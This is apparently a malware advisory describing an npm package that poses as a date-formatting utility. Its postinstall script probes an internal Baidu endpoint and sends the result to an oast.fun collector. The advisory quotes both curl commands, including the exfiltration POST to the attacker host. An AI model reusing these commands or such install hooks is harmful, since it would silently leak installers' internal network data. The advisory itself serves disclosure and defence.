MAL-2026-17159 Malicious code in simple-date-formatter-new-13 (npm)

[email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every npm install. The postinstall runs curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt against an internal Baidu network endpoint, then curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running npm install will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.